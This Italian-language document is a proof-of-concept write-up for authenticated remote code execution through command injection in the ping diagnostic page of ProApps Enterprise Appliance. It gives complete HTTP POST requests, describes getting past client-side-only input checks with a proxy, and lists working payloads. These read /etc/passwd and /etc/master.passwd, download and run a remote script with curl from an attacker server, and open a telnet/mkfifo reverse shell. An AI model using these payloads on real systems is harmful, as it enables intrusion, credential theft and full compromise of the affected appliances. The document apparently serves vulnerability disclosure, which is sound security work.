
Proof-of-concept per l'esecuzione remota di codice autenticata tramite iniezione di comandi nella funzionalità ping di ProApps Enterprise Appliance, con payload di reverse shell e bypass della sanitizzazione lato client.
Product Vendor: freebsdbrasil
Item: ProApps - Enterprise Appliance
Editor Creator: DreamWeaver
PHP: PHP Version 7.3.18
Java Script Library: Jquery UI 1.6 | Jquery 1.2.6
Server: NGINX
Operational System: FreeBDS Unix
Esecuzione di codice remoto
La vulnerabilità si verifica perché un utente può iniettare comandi di sistema attraverso l'applicazione utilizzando la funzionalità ping, aggiungendo un operatore di sequenza di comandi in ambienti Unix, come (;, &&, o |). Per sfruttare la vulnerabilità è necessario essere autenticati. L'utente deve appartenere a un gruppo di permessi chiamato 'Status' e avere il permesso 'Modified'. È inoltre importante menzionare che uno sfruttamento riuscito richiede di aggirare la sanitizzazione dell'input. L'applicazione valida l'input dell'utente solo sul front end, rendendo necessario inviare la richiesta tramite un proxy di rete, ad esempio. In questo modo i limiti imposti dall'applicazione possono essere aggirati.
Dopo l'autenticazione, sarà necessario accedere a una pagina chiamata sta_rede.diagnostico_ping (http(s)://vulnerablepage.index.php?page=sta_rede.diagnostico_ping&task=view).
Questa pagina fornisce una funzione per eseguire una richiesta ICMP verso un host arbitrario. Per saperne di più sull'utility ping e sul protocollo ICMP (Request and Reply), fare riferimento alla RFC menzionata nella sezione riferimenti.
L'applicazione invia una richiesta POST con i parametri host, testar_pacote e ttl, dove host è il target del ping, testar_pacote specifica il numero di richieste ICMP da inviare, e TTL è il Time to Live (TTL) dei pacchetti. Una volta inviata la richiesta, l'applicazione esegue il seguente comando sul sistema Unix: ping -c $testar_pacote $host. Di seguito è mostrata la richiesta POST che dimostra la funzionalità:
POST /include/sta/rede.diagnostico_ping.ajax.php HTTP/1.1
Host: vulnerablewebsite.com
Cookie: PHPSESSID=6457d273b50b3bbaea19cbb4500d6577
Content-Length: 66
Authorization: XXXXXXX
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded
Origin: https://vulnerablewebsite.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://vulnerablewebsite.com/index.php?page=sta_rede.diagnostico_ping&task=view
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
page=sta_rede.diagnostico_ping&host=8.8.8.8&testar_pacote=1&ttl=64
Qui si nota un vettore di attacco. Un utente può sfruttare la vulnerabilità inviando una richiesta POST dannosa tramite un proxy di rete per aggirare la sanitizzazione dell'input, aggiungendo uno degli operatori di sequenza di comandi (;, &&, o |) al parametro host; l'applicazione web eseguirà il comando ping menzionato sopra, seguito da un comando aggiuntivo. Ad esempio, ciò potrebbe includere la lettura di file sensibili come /etc/passwd, /etc/master.passwd, oppure ottenere una reverse shell o eseguire comandi arbitrari.
La richiesta POST seguente è un esempio costruito e dannoso:
POST /include/sta/rede.diagnostico_ping.ajax.php HTTP/1.1
Host: vulnerablewebsite.com
Cookie: PHPSESSID=6457d273b50b3bbaea19cbb4500d6577
Content-Length: 66
Authorization: XXXXXXX
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded
Origin: https://vulnerablewebsite.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://vulnerablewebsite.com/index.php?page=sta_rede.diagnostico_ping&task=view
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
page=sta_rede.diagnostico_ping&host=8.8.8.8; cat /etc/passwd;cat /etc/master.passwd&testar_pacote=1&ttl=64
Richiesta HTTP POST a sta_rede.diagnostico_ping:
page=sta_rede.diagnostico_ping&host=x.x.x.x;curl -O http://attackserver/maliciousfile.sh; chmod +x maliciousfile.sh; ./maliciousfile.sh&testar_pacote=1&ttl=64
TF=$(mktemp -u);mkfifo $TF && telnet $attacker.ip $attacker.port 0<$TF | sh 1>$TF
Mettendosi in ascolto sulla porta specificata con Netcat, si apre con successo una reverse shell.
Le vulnerabilità RCE (Remote Code Execution) consentono a un attaccante di eseguire codice arbitrario su un dispositivo remoto; possono portare a compromissione completa del sistema, violazione dei dati, movimento laterale, distribuzione di malware e danni reputazionali e finanziari.